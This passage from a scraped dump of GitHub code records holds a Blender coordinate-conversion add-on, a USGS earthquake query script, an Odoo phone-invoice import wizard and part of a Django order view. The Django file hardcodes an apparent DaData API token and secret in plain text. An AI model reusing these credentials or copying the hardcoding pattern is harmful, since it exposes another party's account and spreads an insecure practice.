self.updated_Prop == \"azimuth\":\n                ob.x = Cy_r*math.cos(t2)\n                ob.y = Cy_r*math.sin(t2)\n            self.update_request = False\n        else:\n            self.updated_Prop = None\n    def update_Cartesian(self,variable):\n        ob = bpy.context.scene.objects.active.location\n        Coordinate_variable = bpy.context.scene.Mathematics_Coordinates_System.Coordinate_variable\n        Sph_r = Coordinate_variable.Sphere_radius\n        Sph_t1 = math.radians(Coordinate_variable.Sphere_polar)\n        Cy_r = Coordinate_variable.Cylindrical_radius\n        t2 = math.radians(Coordinate_variable.azimuth)\n        \n        if (variable == \"Sphere_radius\")|(variable == \"Sphere_polar\"):\n            ob.x = Sph_r*math.sin(Sph_t1)*math.cos(t2)\n            ob.y = Sph_r*math.sin(Sph_t1)*math.sin(t2)\n            ob.z = Sph_r*math.cos(Sph_t1)\n        elif variable == \"Cylindrical_radius\":\n            ob.x = Cy_r*math.cos(t2)\n            ob.y = Cy_r*math.sin(t2)\n\n    def update_Sphere(self):\n        ob = bpy.context.scene.objects.active.location\n        Coordinate_variable = bpy.context.scene.Mathematics_Coordinates_System.Coordinate_variable\n        x = ob.x\n        y = ob.y\n        z = ob.z\n        Shp_r = ob.length\n        \n        if x == 0:\n            if y >= 0:\n                Coordinate_variable.azimuth = 90  \n            else:\n                Coordinate_variable.azimuth = -90          \n        else:\n            Coordinate_variable.azimuth = math.degrees(math.atan2(y,x))\n        Coordinate_variable.Sphere_radius = Shp_r\n        if Shp_r != 0:\n            t = z/Shp_r\n            if t >= 1:\n                Coordinate_variable.Sphere_polar =0\n            elif t <= -1:\n                Coordinate_variable.Sphere_polar =180\n            else:\n                Coordinate_variable.Sphere_polar = math.degrees(math.acos(t))\n\n    def update_Cylindrical(self):\n        ob = bpy.context.scene.objects.active.location\n        Coordinate_variable = bpy.context.scene.Mathematics_Coordinates_System.Coordinate_variable\n        x = ob.x\n        y = ob.y\n        \n        Coordinate_variable.Cylindrical_radius = math.sqrt(math.pow(y,2)+math.pow(x,2))\n        if x == 0:\n            if y >= 0:\n                Coordinate_variable.azimuth = 90  \n            else:\n                Coordinate_variable.azimuth = -90          \n        else:\n            Coordinate_variable.azimuth = math.degrees(math.atan2(y,x))\nCoordinate_Property_update = Coordinate_updater()\n\n#在scene底下存放座標變量的PropertyGroup\nclass Coordinate_variable(bpy.types.PropertyGroup):\n        Sphere_radius = FloatProperty(\n            name = \"r\", precision = 5,\n            default = 0, min = 0,\n            update = lambda self,context : Coordinate_Property_update(\"Sphere_radius\"))\n        Cylindrical_radius = FloatProperty(\n            name = \"r\", precision = 5,\n            default = 0, min = 0,\n            update = lambda self,context : Coordinate_Property_update(\"Cylindrical_radius\"))\n        Sphere_polar = FloatProperty(\n            name = \"θ\", precision = 5,\n            default = 0, min = 0, max = 180,\n            update = lambda self,context : Coordinate_Property_update(\"Sphere_polar\"))\n        azimuth = FloatProperty(\n            name = \"φ\", precision = 5,\n            default = 0, min = -180, max = 180,\n            update = lambda self,context : Coordinate_Property_update(\"azimuth\"))\n\n#數學座標系統的類別\nclass Mathematics_Coordinates_System(bpy.types.PropertyGroup):\n    Chosen_Coordinate = EnumProperty(items = Coordinates_items, default = \"None\")\n    Coordinate_variable = bpy.props.PointerProperty(type = Coordinate_variable)\n    \n#UI部分\nclass Mathematics_Transform_Panel(bpy.types.Panel):\n    \"\"\"Creates a Panel in the scene context of the properties editor\"\"\"\n    bl_label = \"Mathematics Transform\"\n    bl_space_type = 'VIEW_3D'\n    bl_region_type = 'UI'  \n\n    def draw(self, context):\n        layout = self.layout\n        scene = context.scene\n        Coordinate_variable = scene.Mathematics_Coordinates_System.Coordinate_variable\n        ob = bpy.context.scene.objects.active\n        \n        layout.column().prop(scene.Mathematics_Coordinates_System,\"Chosen_Coordinate\",text = \"\")\n        if scene.Mathematics_Coordinates_System.Chosen_Coordinate == \"Sphere_Coordinate\":\n            col = layout.column()\n            col.prop(Coordinate_variable, \"Sphere_radius\")\n            col.prop(Coordinate_variable, \"Sphere_polar\")\n            col.prop(Coordinate_variable, \"azimuth\")\n        elif scene.Mathematics_Coordinates_System.Chosen_Coordinate == \"Cylindrical_Coordinate\":\n            col = layout.column()\n            col.prop(Coordinate_variable, \"Cylindrical_radius\")\n            col.prop(Coordinate_variable, \"azimuth\")\n            col.prop(ob, \"location\", index = 2, text = \"z\")\n        elif scene.Mathematics_Coordinates_System.Chosen_Coordinate == \"Cartesian_Coordinate\":\n            col = layout.column()\n            col.prop(bpy.context.scene.objects.active, \"location\", text = \"\")\n            \n        if Mathematics_Transform_Reference.is_enabled:\n            layout.operator(\"view3d.mathematics_transform_reference\", \"關閉參考線\", icon=\"PAUSE\")\n        else:\n            layout.operator(\"view3d.mathematics_transform_reference\", \"開啟參考線\", icon=\"PLAY\")\n\n#參考線部分\ndef frange(start, stop, step):\n i = start\n while i < stop:\n    yield i\n    i += step\n\nclass Mathematics_Transform_Reference(bpy.types.Operator):\n    bl_idname = \"view3d.mathematics_transform_reference\"\n    bl_label = \"Mathematics_Transform_Reference\"\n\n    _handle_draw = None\n    is_enabled = False\n    \n    \n\n    def draw_Cartesian(self):#vertices):\n        ob = bpy.context.scene.objects.active.location\n        rgn = bpy.context.region\n        rv3d = bpy.context.space_data.region_3d\n        #bgl.glClear()\n        \n        bgl.glEnable(bgl.GL_BLEND)\n        bgl.glLineWidth(4)    \n        bgl.glBegin(bgl.GL_LINE_STRIP)\n        v3d = Vector((0, 0, 0))\n        v2d = location_3d_to_region_2d(rgn, rv3d, v3d)\n        bgl.glVertex2f(*v2d)\n        bgl.glColor4f(100, 0.0, 0.0, 1)\n        v3d = mathutils.Vector((ob.x,0,0))\n        v2d = location_3d_to_region_2d(rgn, rv3d, v3d)\n        bgl.glVertex2f(*v2d)\n        bgl.glColor4f(0, 100.0, 0.0, 1)\n        v3d = mathutils.Vector((ob.x,ob.y,0))\n        v2d = location_3d_to_region_2d(rgn, rv3d, v3d)\n        bgl.glVertex2f(*v2d)\n        bgl.glColor4f(0, 0.0, 100.0, 1)\n        v3d = mathutils.Vector((ob.x,ob.y,ob.z))\n        v2d = location_3d_to_region_2d(rgn, rv3d, v3d)\n        bgl.glVertex2f(*v2d)\n        bgl.glEnd()\n        bgl.glLineWidth(1)\n        bgl.glDisable(bgl.GL_BLEND)\n        \n        bgl.glColor4f(1, 1, 1, 1)\n        self.draw_value(Vector((ob.x/2,0,0)), str(round(ob.x, 2)))\n        self.draw_value(Vector((ob.x, ob.y/2, 0)), str(round(ob.y, 2)))\n        self.draw_value(Vector((ob.x, ob.y, ob.z/2)), str(round(ob.z, 2)))\n        \n    def draw_Sphere(self):#vertices):\n        ob = bpy.context.scene.objects.active.location\n        rgn = bpy.context.region\n        rv3d = bpy.context.space_data.region_3d\n        Mathematics_Coordinates_System = bpy.context.scene.Mathematics_Coordinates_System\n        Coordinate_variable = bpy.context.scene.Mathematics_Coordinates_System.Coordinate_variable\n        Sph_r = Coordinate_variable.Sphere_radius\n        Sph_t1 = math.radians(Coordinate_variable.Sphere_polar)\n        Cy_r = Coordinate_variable.Cylindrical_radius\n        t2 = math.radians(Coordinate_variable.azimuth)\n        \n        #bgl.glClear()\n        bgl.glEnable(bgl.GL_BLEND)\n        bgl.glLineWidth(4)    \n        bgl.glBegin(bgl.GL_LINE_STRIP)\n        v3d = Vector((0, 0, 0))\n        v2d = location_3d_to_region_2d(rgn, rv3d, v3d)\n        bgl.glVertex2f(*v2d)\n        \n        bgl.glColor4f(0, 0, 1, 1)\n        v3d = Vector((0,0,Sph_r))\n        v2d = location_3d_to_region_2d(rgn, rv3d, v3d)\n        bgl.glVertex2f(*v2d)\n        bgl.glColor4f(0, 1, 1, 1)\n\n        \n        \n        a = Sph_t1\n        b = math.pi/(300*Sph_r)\n        for t in frange(0,a,b):\n            \n            x = Sph_r*math.sin(t)\n            y = 0\n            z = Sph_r*math.cos(t)\n            v3d = Vector((x,y,z))\n            v2d = location_3d_to_region_2d(rgn, rv3d, v3d)\n            bgl.glVertex2f(*v2d)\n        \n           \n        \n\n        bgl.glColor4f(1, 0, 1, 1)\n        if t2 >= 0 :\n            c = t2\n        else:\n            c  = -t2\n        \n        d = math.pi/(300*Sph_r)\n        for t in frange(0,c+d,d):\n            if(t2 >= 0):\n                x = Sph_r*math.sin(a)*math.cos(t)\n                y = Sph_r*math.sin(a)*math.sin(t)\n            else:\n                x = Sph_r*math.sin(a)*math.cos(-t)\n                y = Sph_r*math.sin(a)*math.sin(-t)\n            z = Sph_r*math.cos(a)\n            v3d = Vector((x,y,z))\n            v2d = location_3d_to_region_2d(rgn, rv3d, v3d)\n            bgl.glVertex2f(*v2d)\n            \n        bgl.glEnd()\n        bgl.glLineWidth(1)\n        bgl.glDisable(bgl.GL_BLEND)\n        bgl.glColor4f(1, 1, 1, 1)\n        \n        \n        self.draw_value(Vector((0,0,Sph_r/2)),str(round(Sph_r, 2)))\n        x1 = Sph_r*math.sin(Sph_t1/2)\n        y1 = 0\n        z1 = Sph_r*math.cos(Sph_t1/2) \n        self.draw_value(Vector((x1,y1,z1)),str(round(math.degrees(Sph_t1), 2))+\"°\")\n        if(t2 >= 0):\n            x1 = Sph_r*math.sin(a)*math.cos((c+d)/2)\n            y1 = Sph_r*math.sin(a)*math.sin((c+d)/2)\n        else:\n            x1 = Sph_r*math.sin(a)*math.cos(-(c+d)/2)\n            y1 = Sph_r*math.sin(a)*math.sin(-(c+d)/2)\n        z1 = Sph_r*math.cos(a) \n        self.draw_value(Vector((x1,y1,z1)),str(round(math.degrees(t2), 2))+\"°\")\n        \n\n    def draw_Cylindrical(self):#vertices):\n        ob = bpy.context.scene.objects.active.location\n        rgn = bpy.context.region\n        rv3d = bpy.context.space_data.region_3d\n        Mathematics_Coordinates_System = bpy.context.scene.Mathematics_Coordinates_System\n        Coordinate_variable = bpy.context.scene.Mathematics_Coordinates_System.Coordinate_variable\n        Sph_r = Coordinate_variable.Sphere_radius\n        Sph_t1 = math.radians(Coordinate_variable.Sphere_polar)\n        Cy_r = Coordinate_variable.Cylindrical_radius\n        t2 = math.radians(Coordinate_variable.azimuth)\n        #bgl.glClear()\n        bgl.glEnable(bgl.GL_BLEND)\n        bgl.glLineWidth(4)    \n        bgl.glBegin(bgl.GL_LINE_STRIP)\n        v3d = Vector((0, 0, 0))\n        v2d = location_3d_to_region_2d(rgn, rv3d, v3d)\n        bgl.glVertex2f(*v2d)\n        bgl.glColor4f(1, 0.0, 0, 1)\n        v3d = Vector((Cy_r,0,0))\n        v2d = location_3d_to_region_2d(rgn, rv3d, v3d)\n        bgl.glVertex2f(*v2d)\n        bgl.glColor4f(1, 0, 1, 1)\n        if t2 >= 0 :\n            a = t2\n        else:\n            a = -t2\n         \n        b = math.pi/(300*Cy_r)\n        for t in frange(0,a,b):\n            \n            if(t2 >= 0):\n                x = Cy_r*math.cos(t)\n                y = Cy_r*math.sin(t)\n            else:\n                x = Cy_r*math.cos(-t)\n                y = Cy_r*math.sin(-t)\n            z = 0\n            v3d = Vector((x,y,z))\n            v2d = location_3d_to_region_2d(rgn, rv3d, v3d)\n            bgl.glVertex2f(*v2d)\n        bgl.glColor4f(0, 0.0, 1, 1)\n        v3d = Vector((ob.x,ob.y,ob.z))\n        v2d = location_3d_to_region_2d(rgn, rv3d, v3d)\n        bgl.glVertex2f(*v2d)\n        bgl.glEnd()\n        bgl.glLineWidth(1)\n        bgl.glDisable(bgl.GL_BLEND)\n        \n        bgl.glColor4f(1, 1, 1, 1)\n        self.draw_value(Vector((Cy_r/2,0, 0)),str(round(Cy_r, 2)))\n        x1 = 0\n        y1 = 0\n        z1 = 0\n        if(t2 >= 0):\n            x1 = Cy_r*math.cos(a/2)\n            y1 = Cy_r*math.sin(a/2)\n        else:\n            x1 = Cy_r*math.cos(-a/2)\n            y1 = Cy_r*math.sin(-a/2)\n        z1 = 0\n        self.draw_value(Vector((x1,y1,z1)),str(round(math.degrees(t2),2))+\"°\")\n        self.draw_value(Vector((ob.x,ob.y,ob.z/2)),str(round(ob.z, 2)))\n        \n    def draw_value(self, v3d, value):\n        #ob = bpy.context.scene.objects.active.location\n        rgn = bpy.context.region\n        rv3d = bpy.context.space_data.region_3d\n        \n        #v3d = mathutils.Vector((ob.x, ob.y, ob.z/2))\n        v2d = location_3d_to_region_2d(rgn, rv3d, v3d)\n        blf.size(0, 30, 72)        \n        blf.position(0,*v2d, 0)  \n        blf.draw(0, value) \n    @staticmethod\n    def draw_callback_px(self, context):\n        scene = bpy.context.scene\n        if scene.Mathematics_Coordinates_System.Chosen_Coordinate == \"Sphere_Coordinate\":\n            self.draw_Sphere()\n        elif scene.Mathematics_Coordinates_System.Chosen_Coordinate == \"Cylindrical_Coordinate\":\n            self.draw_Cylindrical()\n        elif scene.Mathematics_Coordinates_System.Chosen_Coordinate == \"Cartesian_Coordinate\":\n            self.draw_Cartesian()\n            \n\n    @staticmethod\n    def handle_add(self, context):\n        Mathematics_Transform_Reference._handle_draw = bpy.types.SpaceView3D.draw_handler_add(\n                self.draw_callback_px, (self, context), 'WINDOW', 'POST_PIXEL')\n\n    @staticmethod\n    def handle_remove():\n        if Mathematics_Transform_Reference._handle_draw is not None:\n            bpy.types.SpaceView3D.draw_handler_remove(Mathematics_Transform_Reference._handle_draw, 'WINDOW')\n            Mathematics_Transform_Reference._handle_draw = None\n            Mathematics_Transform_Reference.is_enabled = False\n\n    @classmethod\n    def poll(cls, context):\n        return context.area.type == 'VIEW_3D'\n\n    def modal(self, context, event):\n        if context.area:\n            context.area.tag_redraw()\n        return {'PASS_THROUGH'}\n\n    def invoke(self, context, event):\n        if context.area.type == 'VIEW_3D':\n            if Mathematics_Transform_Reference.is_enabled:\n                self.cancel(context)\n                return {'FINISHED'}\n            else:\n                Mathematics_Transform_Reference.handle_add(self, context)\n                Mathematics_Transform_Reference.is_enabled = True\n\n                context.area.tag_redraw()\n                context.window_manager.modal_handler_add(self)\n                return {'RUNNING_MODAL'}\n        else:\n            self.report({'WARNING'}, \"View3D not found, cannot run operator\")\n            return {'CANCELLED'}\n\n    def cancel(self, context):\n        Mathematics_Transform_Reference.handle_remove()       \n            \ndef register():\n    bpy.app.handlers.scene_update_post.append(scene_update)\n    bpy.utils.register_class(Mathematics_Transform_Reference)\n    bpy.utils.register_class(Coordinate_variable)\n    bpy.utils.register_class(Mathematics_Coordinates_System)\n    bpy.types.Scene.Mathematics_Coordinates_System = bpy.props.PointerProperty(type = Mathematics_Coordinates_System)\n    bpy.utils.register_class(Mathematics_Transform_Panel)\ndef unregister():\n    bpy.app.handlers.scene_update_post.remove(scene_update)\n    del bpy.types.Scene.Mathematics_Coordinates_System\n    bpy.utils.unregister_class(Coordinate_variable)\n    bpy.utils.unregister_class(Mathematics_Coordinates_System)\n    bpy.utils.unregister_class(Mathematics_Transform_Reference)\n    bpy.utils.unregister_class(Mathematics_Transform_Panel)\nif __name__ == \"__main__\":\n    register()","repo_name":"tokileecy/Mathematics-Transform","sub_path":"Mathematics_Transform.py","file_name":"Mathematics_Transform.py","file_ext":"py","file_size_in_byte":18637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"71978312479","text":"import requests\n\nstart_time = input('Enter start time (format yyyy-mm-dd): ')\nend_time = input('Enter end time (format yyyy-mm-dd): ')\nlatitude = input('Enter latitude (format x.xx): ')\nlongitude = input('Enter longitude (format x.xx): ')\nmax_radius_km = input('Enter max radius km: ')\nmin_magnitude = input('Enter min magnitude: ')\n\n# start_time='2019-01-01'\n# end_time='2019-02-01'\n# latitude='51.51'\n# longitude='-0.12'\n# max_radius_km='2000'\n# min_magnitude='2'\n\nurl = 'https://earthquake.usgs.gov/fdsnws/event/1/query?'\nres = requests.get(url, headers={'Accept':'application/json'},\tparams=\n\t{\n\t'format': 'geojson',\n\t'starttime': start_time,\n\t'endtime': end_time,\n\t'latitude': latitude,\n\t'longitude': longitude,\n\t'maxradiuskm': max_radius_km,\n\t'minmagnitude': min_magnitude\n\t})\n\n# print(type(res.json()))\n# print(type(res.text))\n\ndata = res.json()\nlist_of_earthquakes = []\ncount = 0\nfor number in data['features']:\n\tif data['features'][count]['properties']['mag'] > int(min_magnitude):\n\t\tlist_of_earthquakes.append(data['features'][count]['properties']['place'])\n\t\tprint(f\"{count + 1} Place: {data['features'][count]['properties']['place']}. Magnitude: {data['features'][count]['properties']['mag']}\")\n\t\tcount += 1\n\n\n\n# print(data['features'][len([])]['properties']['mag'])\n\n\n\n\n","repo_name":"KanstantsinKS/1","sub_path":"python3_course/http_api/api_intro.py","file_name":"api_intro.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"7064627223","text":"# -*- coding: utf-8 -*-\n# (c) 2021 Carlos Ros  <cros@praxya.es>\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).*-\n\nimport logging\nimport base64\nimport io\nfrom io import StringIO\nfrom datetime import date\n\nfrom odoo import api, models, fields,_\nfrom odoo.exceptions import ValidationError\nimport datetime\n\n\n_logger = logging.getLogger(__name__)\n\n\nclass WizardImportPhoneInvoice(models.TransientModel):\n\t_name = \"wizard.import.phone.invoice\"\n\t\n\t#for create Detall invoice add \"detall\" and program \"create_phone_detall_invoice\"\n\tinvoice_type = fields.Selection(\n\t\tselection=[\n\t\t\t('simple', 'Simple Invoice'),\n\t\t],\n\t\tdefault=\"simple\",\n\t\trequired=True,\n\t\tstring=\"Type of invoice\"\n\t)\n\n\tfile_data = fields.Binary('File', required=True)\n\t\n\tdate_invoice = fields.Date(\n\t\tstring='invoice date',\n\t\tdefault=fields.Date.context_today,\n\t)\n\n\tdef show_import_invocies(self,invoice_ids):\n\t\t\"\"\"\n\t\tthis function need invoice_ids (ids list)\n\t\tto launch an Odoo action for the model 'account.invoice' to show the invoices have been created\n\t\t\"\"\"\n\t\taction = self.env.ref('account.action_invoice_tree1').read()[0]\n\t\tif len(invoice_ids) > 1:\n\t\t\taction['domain'] = [('id', 'in', tuple(invoice_ids))]\n\t\telif len(invoice_ids) == 1:\n\t\t\tform_view = [(self.env.ref('account.invoice_form').id, 'form')]\n\t\t\tif 'views' in action:\n\t\t\t\taction['views'] = form_view + [(state,view) for state,view in action['views'] if view != 'form']\n\t\t\telse:\n\t\t\t\taction['views'] = form_view\n\t\t\taction['res_id'] = invoice_ids[0]\n\t\telse:\n\t\t\taction = {'type': 'ir.actions.act_window_close'}\n\t\treturn action\n\n\tdef start_import_invoice(self):\n\t\t\"\"\"\n\t\tThis function is launched when pres import button\n\t\t\"\"\"\n\t\tdecoded_data = base64.decodebytes(self.file_data)\n\t\ttry:\n\t\t\tfile = StringIO(decoded_data.decode('utf-8'))\n\t\texcept Exception:\n\t\t\tfile = StringIO(decoded_data.decode('iso-8859-1'))\n\n\t\tinvoice_ids = self.import_invoice(file)\n\t\taction = self.show_import_invocies(invoice_ids.ids)\n\n\t\treturn action\n\n\tdef import_invoice(self, file):\n\t\t\"\"\"\n\t\tThis function prepare file data for create invoices\n\t\t\"\"\"\n\t\tinvoice_obj = self.env['account.invoice']\n\t\tphone_map_obj = self.env['phone.import.map']\n\n\t\tinvoice_ids = invoice_obj\n\n\t\tdict_data = {}\n\t\tlines_data = []\n\n\t\t#variable for file lines\n\t\tlines = file.read().split(\"\\r\\n\")\n\n\t\t#This variable is for get line phone for generte un diccionario grouping lines with mobile phone number\n\t\tactual_phone = 0\n\n\t\tfor line in lines:\n\t\t\t#Get code for line\n\t\t\tif bool(line[0:3]):\n\t\t\t\tcode = int(line[0:3])\n\t\t\telse:\n\t\t\t\t continue\n\n\t\t\t#search map for import line data\n\t\t\tphone_map_id = phone_map_obj.search([('name','=',code)])\n\t\t\t\n\t\t\tif not bool(phone_map_id):\n\t\t\t\tcontinue\n\t\t\t#Check if line start with number 3\n\t\t\tif bool(line[0] == '3'):\n\t\t\t\tphone = line[37:46]\n\t\t\n\t\t\t\tactual_phone = phone\n\n\t\t\t\tlines_data.append(phone_map_id.phone_data_330_code(line))\n\n\t\t\t\tif not dict_data.get(actual_phone,False):\n\t\t\t\t\tdict_data.update({\n\t\t\t\t\t\tactual_phone: {code: lines_data}\n\t\t\t\t\t})\n\t\t\t\telse:\n\t\t\t\t\tif not dict_data.get(actual_phone).get(code,False):\n\t\t\t\t\t\tdict_data.get(actual_phone).update({\n\t\t\t\t\t\t\tcode: lines_data\n\t\t\t\t\t\t})\n\t\t\t\t\telse:\n\t\t\t\t\t\tdict_data.get(actual_phone).get(code).append(lines_data)\n\n\t\t\t\tlines_data = []\n\n\t\t#Check diferent type of invoice\n\t\tif bool(self.invoice_type == 'simple'):\n\t\t\tinvoice_ids = self.create_phone_invoice(dict_data)\n\t\telif bool(self.invoice_type == 'detall'):\n\t\t\tinvoice_ids = self.create_phone_detall_invoice(dict_data)\n\n\t\treturn invoice_ids\n\n\tdef get_partner_phone_obj(self,phone):\n\t\t\"\"\"\n\t\tGet the rate and partner for each mobil phone\n\t\t\"\"\"\n\t\tpartner_phone_obj = self.env['res.partner.phone']\n\t\t\n\t\tpartner_phone_id = partner_phone_obj.search([('phone','=', phone)])\n\t\treturn partner_phone_id\n\n\tdef generate_invoice_lines(self,partner_phone_id,invoice_data):\n\t\t\"\"\"\n\t\tGenerate a invoice lines\n\t\t\t- the first line is used as a product the rate selected in the list of rates and telephones (res.partner, phone) of the 'res.partner'.\n\t\t\t- The following line has a generic product, and the price of this product is determined by record 340 of the txt file issued by Telefonica.\n\t\t\"\"\"\n\t\tproduct_id = partner_phone_id.product_id\n\t\ttax_id = self.env.ref('l10n_es.1_account_tax_template_s_iva21b')\n\t\taccount_analytic_id = self.env.ref('atzeneta_import_invoice_wizard.account_analytic_account_phone_and_service')\n\n\t\tif product_id.property_account_income_id:\n\t\t\taccount_id = product_id.property_account_income_id\n\t\telse:\n\t\t\taccount_id = self.env.ref('l10n_es.1_account_common_7000')\n\t\t\n\t\tproduct_line = {\n\t\t\t'product_id': product_id.id,\n\t\t\t'price_unit': float(product_id.list_price),\n\t\t\t'quantity': float(1.0),\n\t\t\t'uom_id': product_id.uom_id.id,\n\t\t\t'name': product_id.display_name,\n\t\t\t'account_analytic_id': account_analytic_id.id if account_analytic_id else False,\n\t\t\t'account_id': account_id.id if account_id else False,\n\t\t\t'invoice_line_tax_ids': [(6,0,tax_id.ids)] if tax_id else False,\n\t\t}\n\t\tlines = [(0,0,product_line)]\n\t\tamount = 0.0\n\t\tfor line in invoice_data:\n\t\t\tif bool(line == 330):\n\t\t\t\tcontinue\n\t\t\timport_map_id = self.env['phone.import.map'].search([('name','=',str(line))])\n\t\t\timport_map_line_id = import_map_id.import_map_line_ids.filtered(lambda x:x.line_key == 'amount')\n\t\t\tamount_ranges = import_map_line_id.length.split(',')\n\t\t\tfor data_line in invoice_data[line]:\n\t\t\t\tfor call_data_line in data_line.get('call_data'):\n\t\t\t\t\tstring_amount = call_data_line.get('amount')[:int(amount_ranges[0])] + '.' + call_data_line.get('amount')[int(amount_ranges[0]):]\n\t\t\t\t\tamount += float(string_amount)\n\n\t\tif bool(amount):\n\t\t\tproduct_id = self.env.ref('atzeneta_import_phone_invoice_wizard.product_product_servicio_llamdas')\n\t\t\textra_line = {\n\t\t\t\t'product_id': product_id.id,\n\t\t\t\t'price_unit': amount,\n\t\t\t\t'quantity': float(1.0),\n\t\t\t\t'uom_id': product_id.uom_id.id,\n\t\t\t\t'name': product_id.display_name,\n\t\t\t\t'account_analytic_id': account_analytic_id.id if account_analytic_id else False,\n\t\t\t\t'account_id': account_id.id if account_id else False,\n\t\t\t\t'invoice_line_tax_ids': [(6,0,tax_id.ids)] if tax_id else False,\n\t\t\t}\n\t\t\tlines.append((0,0,extra_line))\n\t\t\n\t\treturn lines\n\n\tdef generate_line_section_phone(self,phone):\n\t\t\"\"\"\n\t\tThis function creates a section invoice.line to separate the billable linmes from each phone line\n\t\t\"\"\"\n\t\tline = {\n\t\t\t'display_type': 'line_section',\n\t\t\t'price_unit': float(0.0),\n\t\t\t'quantity': float(0.0),\n\t\t\t'name': _('Invoice Phone:').format(phone),\n\t\t}\n\t\treturn line\n\n\tdef generate_header_invoice(self,partner_id, product_id):\n\t\t\"\"\"\n\t\tGenerate dict with the basic and required fields for 'acccount.invoice'\n\t\t\"\"\"\n\t\tjournal_id = self.env.ref('atzeneta_import_phone_invoice_wizard.account_jorunal_customer_telefonica')\n\t\tpayment_mode_id = self.env.ref('atzeneta_import_invoice_wizard.account_payment_mode_credito')\n\n\t\tif not bool(partner_id) or not bool(product_id):\n\t\t\treturn False\n\t\t\n\t\treturn {\n\t\t\t'company_id': partner_id.company_id.id,\n\t\t\t'import_date': date.today(),\n\t\t\t'currency_id': product_id.currency_id.id if product_id.currency_id else False,\n\t\t\t'journal_id': journal_id.id if journal_id else False,\n\t\t\t'reference_type': 'none',\n\t\t\t'date_invoice':  self.date_invoice if self.date_invoice else False,\n\t\t\t'date_due':  self.date_invoice if self.date_invoice else False,\n\t\t\t'payment_mode_id': payment_mode_id.id if payment_mode_id else False, #modo_pago\n\t\t\t'partner_id': partner_id.id,\n\t\t\t'type': 'out_invoice',\n\t\t\t'state': 'open',\n\t\t\t'fiscal_position_id': partner_id.property_account_position_id.id if partner_id.property_account_position_id else False,\n\t\t}\n\n\tdef create_phone_detall_invoice(self,invoice_dict):\n\t\t\"\"\"\n\t\tThis function is defined for inherit and create a detall invoice for \"Telefonia txt file\"\n\t\tNeed that this function return invoice 'account.invoice' ids, becouse when finish read file and create invoices,\n\t\tshow all created invoices for the read file.\n\n\t\tExist function generate_header_invoice for generate a dictionary with the invoice data, \n\t\tlater can create 'account.invoice.line' with the detail data.\n\t\t\"\"\"\n\t\tinvoice_obj = self.env['account.invoice']\n\t\treturn invoice_obj\n\n\tdef create_phone_invoice(self,invoice_dict):\n\t\t\"\"\"\n\t\tFunction to create dict for simple 'account.invoice'\n\t\t\"\"\"\n\t\t#obj instances\n\t\tinvoice_obj = self.env['account.invoice']\n\t\tinvoice_ids = invoice_obj\n\t\t\n\t\t#variables\n\t\tinvoice_sequence = 1\n\t\tfor line in invoice_dict:\n\t\t\tinvoice_data = invoice_dict.get(line)\n\t\t\t\n\t\t\tif not bool(invoice_data):\n\t\t\t\tcontinue\n\t\t\t\n\t\t\tpartner_phone_id = self.get_partner_phone_obj(line)\n\t\t\tif not bool(partner_phone_id):\n\t\t\t\tcontinue\n\t\t\t\n\t\t\tpartner_invoice_id = invoice_ids.filtered(lambda x: x.partner_id == partner_phone_id.partner_id)\n\n\t\t\tlines = self.generate_invoice_lines(partner_phone_id,invoice_data)\n\t\t\tif not bool(lines):\n\t\t\t\tcontinue\n\t\t\t\n\t\t\tlines.insert(0,(0,0,self.generate_line_section_phone(line)))\n\n\t\t\tif bool(partner_invoice_id):\n\t\t\t\tpartner_invoice_id.update({'invoice_line_ids':lines})\n\t\t\telse:\t\t\n\t\t\t\tinvocie_dict = self.generate_header_invoice(partner_phone_id.partner_id,partner_phone_id.product_id)\n\t\t\t\tif not bool(invocie_dict):\n\t\t\t\t\tcontinue\n\t\t\t\n\t\t\t\torigin = ''\n\t\t\t\tif bool(invoice_data.get(330)[0]) and bool(invoice_data.get(330)[0].get('invoice_number')):\n\t\t\t\t\torigin = invoice_data.get(330)[0].get('invoice_number')\n\n\t\t\t\tinvocie_dict.update({\n\t\t\t\t\t'invoice_line_ids': lines,\n\t\t\t\t\t'origin': origin\n\t\t\t\t})\n\n\t\t\t\tinvoice_id = invoice_obj.create(invocie_dict)\n\t\t\t\tinvoice_ids |= invoice_id\n\t\treturn invoice_ids\n","repo_name":"rosherediacarlos/odoo-addons","sub_path":"import_phone_invoice_wizard/wizards/wizard_import_phone_invoice.py","file_name":"wizard_import_phone_invoice.py","file_ext":"py","file_size_in_byte":9414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"4834929305","text":"from dadata import Dadata\nfrom drf_yasg.utils import swagger_auto_schema\nfrom rest_framework import status\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom cart.models import Cart\nfrom orders.models import Order\nfrom orders.serializers import OrderSerializer\n\ntoken = \"ced0414f954e7d1cd4d83c73d0abdfaa6aeaeff2\"\nsecret = \"eab02a24c999f149deba9ba4e23baec57473a6c1\"\ndadata = Dadata(token, secret)\n\n\nclass OrderView(APIView):\n    permission_classes = [IsAuthenticated]\n\n    @swagger_auto_schema(\n        operation_summary=\"Получение списка всех заказов пользователя\",\n        responses={\n            200: OrderSerializer(many=True),\n            500: \"Серверная ошибка\"},\n    )\n    def get(self, request):\n        orders = Order.objects.filter(user_id=request.user.id).all()\n        serializer = OrderSerializer(orders, many=True)\n        return Response(serializer.data)\n\n    @swagger_auto_schema(\n        operation_summary=\"Оформление заказа\",\n        request_body=OrderSerializer,\n        responses={\n            201: OrderSerializer,\n            400: \"Неправильный ввод данных\",\n            500: \"Серверная ошибка\",\n        },\n    )\n    def post(self, request):\n        cart = Cart.objects.filter(user_id=request.user.id).all()\n        if len(cart) == 0:\n            return Response(status=status.HTTP_400_BAD_REQUEST)\n        order = Order(\n            user_id=request.user.id,\n            address=request.data.get(\"address\"),\n        )\n        order.address = dadata.clean(name=\"address\", source=order.address)\n        order.address = order.address['result']\n        order.save(force_insert=True)\n        sum = 0\n        total_quantity = 0\n        for item in cart:\n            order.products.add(item.products)\n            total_quantity += item.quantity\n            sum += item.sum\n        order.total_quantity = total_quantity\n        order.sum = sum\n        order.save()\n        cart.delete()\n        return 